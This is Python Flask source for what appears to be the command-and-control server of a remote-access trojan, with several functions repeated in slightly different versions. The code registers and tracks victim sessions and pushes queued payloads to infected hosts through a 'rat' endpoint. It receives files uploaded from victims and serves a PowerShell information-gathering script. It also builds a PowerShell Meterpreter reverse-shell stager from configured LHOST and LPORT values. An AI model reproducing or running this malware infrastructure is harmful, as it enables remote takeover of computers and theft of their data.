def checkOnline(): signature = request.form.get('signature') c = victim.victim() if c.checkalive(signature): return 'success' else: return 'error'
def checkOnline(): signature = request.form.get("signature") c = victim.victim() if c.checkalive(signature): return "success" else: return "error"
def upload_controller(signature): c = victim.victim() u = upload.upload() pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, signature): return 'error' if not c.get(signature): return 'error' data = unquote(request.get_data()) data = data.replace('-----BEGIN CERTIFICATE-----', '') data = data.replace('-----END CERTIFICATE-----', '') data = data.strip() try: data = base64.b64decode(data) except Exception as e: return 'error' originalname = request.args.get('filename') pid = request.args.get('pid') filename = ntpath.basename(originalname) + '.' + md5(data) if not os.path.exists(upload_dir + os.sep + signature): os.mkdir(upload_dir + os.sep + signature, 0700) with open(upload_dir + os.sep + signature + os.sep + filename, 'w') as f: f.write(data) u.add(signature, pid, originalname, filename) resp = make_response(filename, 200) return resp
def upload_controller(signature): c = victim.victim() u = upload.upload() pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, signature): return 'error' if not c.get(signature): return 'error' data = unquote(request.get_data()) data = data.replace('-----BEGIN CERTIFICATE-----', '') data = data.replace('-----END CERTIFICATE-----', '') data = data.strip() try: data = base64.b64decode(data) except Exception as e: print e return 'error' originalname = request.args.get('filename') pid = request.args.get('pid') filename = md5(data) with open(upload_dir+os.sep+filename, 'wb') as f: f.write(data) u.add(signature, pid, originalname, filename) resp = make_response(filename, 200) return resp
def rat(signature): global server c = victim.victim() a = action.action() p = payload.payload() pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, signature): return "error" if not c.get(signature): return 'error' if request.method == 'GET': cl = c.get(signature) if not cl: return "error" c.heartbeat(signature) ac = a.gettask(signature) if ac: exploit = ac['payload'] pid = ac['pid'] else: exploit = 'aGJlYXQ=' pid = 'aGJlYXQ=' return render_template_string(exploit, server=server, signature=signature, pid=pid) else: pid = request.args.get('pid') pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, pid): return "error" data = request.get_data().encode('base64') a.setfeedback(pid, data) return ''
def rat(signature): global server c = victim.victim() a = action.action() p = payload.payload() pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, signature): return "error" if not c.get(signature): return 'error' if request.method == 'GET': c = victim.victim() pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, signature): return 'error' if not c.get(signature): return 'error' c.heartbeat(signature) #TODO:添加全局任务 #查找未完成任务 ac = a.gettask(signature) if ac and signature == ac['pid']: a.setfeedback(signature, 'done') exploit = ac['payload'] pid = ac['pid'] elif ac and ac['repeat'] < 3: exploit = ac['payload'] pid = ac['pid'] a.addrepeat(pid) else: exploit = '' pid = 'heartbeat' return render_template_string(exploit, server=server, signature=signature, pid=pid) else: pid = request.args.get('pid') pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, pid): return "error" data = request.get_data().encode('base64') a.setfeedback(pid, data) return ''
def PowershelInformation(signature): c = victim.victim() pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, signature): return "error" if not c.get(signature): return 'error' return render_template('GatherInformation.ps1')
def getOnline(): c = victim.victim() data = c.alives() if data: for i in xrange(len(data)): data[i]["id"] = i data[i]["alive_time"] = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(data[i]["alive_time"])) return json.dumps(data) else: return "Danm!None Online..."
def connect(): global server c = victim.victim() p = payload.payload() signature = md5(str(time.time())+SECRET_KEY+request.remote_addr+str(random.random())) if c.get(signature): signature = md5(str(time.time())+SECRET_KEY+request.remote_addr) c = c.add(signature, request.remote_addr) #a = action.action().add(signature, 'init', 'payload', 4) #add init task return render_template_string(p.connect(), server=server, signature=signature)
def getOnline(): c = victim.victim() data = c.alives() if data: for i in xrange(len(data)): data[i]['id'] = i data[i]['alive_time'] = time.strftime( "%Y-%m-%d %H:%M:%S", time.localtime(data[i]['alive_time'])) return json.dumps(data) else: return 'All offline...'
def check(): global server data = unquote(request.get_data()) #TODO: add data format check signature = md5(data + SECRET_KEY) c = victim.victim() p = payload.payload() if not c.get(signature): c = c.add(signature, request.remote_addr) #添加初始任务 action.action().add(signature, signature, 'init', p.init(), 4) #add init task return render_template_string(p.begin(), server=server, signature=signature)
def PowershelMeterpreter(signature): c = victim.victim() pattern = r"^[0-9a-f]{32}$" if not re.match(pattern, signature): return "error" if not c.get(signature): return 'error' s = settings.settings() ip = '' for i in socket.inet_aton(socket.gethostbyname(s.get('LHOST'))): ip += hex(ord(i)) + ', ' port = '' for i in struct.pack('!I', int(s.get('LPORT')))[-2:]: port += hex(ord(i)) + ', ' return render_template('PowershellMeterpreterx86.ps1', ip=ip, port=port)
def deleteSession(): signature = request.form.get("signature").strip() v = victim.victim() v.delete(signature) return "success"
def deleteSession(): signature = request.form.get('signature').strip() v = victim.victim() v.delete(signature) return 'success'